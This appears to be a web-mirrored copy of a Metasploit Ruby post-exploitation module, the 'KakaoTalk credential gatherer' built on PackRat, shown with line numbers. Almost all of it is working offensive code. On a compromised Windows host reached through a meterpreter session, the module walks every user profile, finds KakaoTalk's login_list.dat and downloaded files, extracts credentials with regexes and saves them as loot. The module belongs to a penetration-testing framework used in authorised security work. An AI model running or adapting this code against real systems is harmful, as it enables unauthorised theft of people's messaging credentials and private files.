CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/kakaotalk.rb
Views: 11704
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
8
# this associative array defines the artifacts known to PackRat
9
include Msf::Post::File
10
include Msf::Post::Windows::UserProfiles
11
include Msf::Post::Windows::Packrat
12
ARTIFACTS =
13
{
14
application: 'Kakao',
15
app_category: 'chats',
16
gatherable_artifacts: [
17
{
18
filetypes: 'logins',
19
path: 'LocalAppData',
20
dir: 'Kakao',
21
artifact_file_name: 'login_list.dat',
22
description: 'The email address used for login',
23
credential_type: 'text',
24
regex_search: [
25
{
26
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
27
extraction_type: 'credentials',
28
regex: [
29
'(?i-mx:login_list.*)'
30
]
31
}
32
]
33
},
34
{
35
filetypes: 'files',
36
path: 'MyDocs',
37
dir: 'KakaoTalk Downloads',
38
artifact_file_name: '*',
39
description: 'Fiels that were downloaded to the host machine'
40
}
41
]
42
}.freeze
43
44
def initialize(info = {})
45
super(
46
update_info(
47
info,
48
'Name' => 'KakaoTalk credential gatherer',
49
'Description' => %q{
50
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
51
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
52
Further details can be found in the module documentation.
53
This is a module that searches for KakaoTalk credentials on a windows remote host. KakaoTalk is a popular mobile messaging app most widely used in South Korea.
54
},
55
'License' => MSF_LICENSE,
56
'Author' => [
57
'Kazuyoshi Maruta',
58
'Daniel Hallsworth',
59
'Barwar Salim M',
60
'Z. Cliffe Schreuders', # http://z.cliffe.schreuders.org
61
],
62
'Platform' => ['win'],
63
'SessionTypes' => ['meterpreter'],
64
'Notes' => {
65
'Stability' => [CRASH_SAFE],
66
'Reliability' => [],
67
'SideEffects' => []
68
}
69
)
70
)
71
72
register_options(
73
[
74
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
75
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
76
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
77
# enumerates the options based on the artifacts that are defined below
78
OptEnum.new('ARTIFACTS', [false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map { |k| k[:filetypes] }.uniq.unshift('All')])
79
]
80
)
81
end
82
83
def run
84
print_status('Filtering based on these selections: ')
85
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
86
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
87
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
88
89
# used to grab files for each user on the remote host
90
grab_user_profiles.each do |userprofile|
91
run_packrat(userprofile, ARTIFACTS)
92
end
93
94
print_status 'PackRat credential sweep Completed'
95
end
96
end
97
98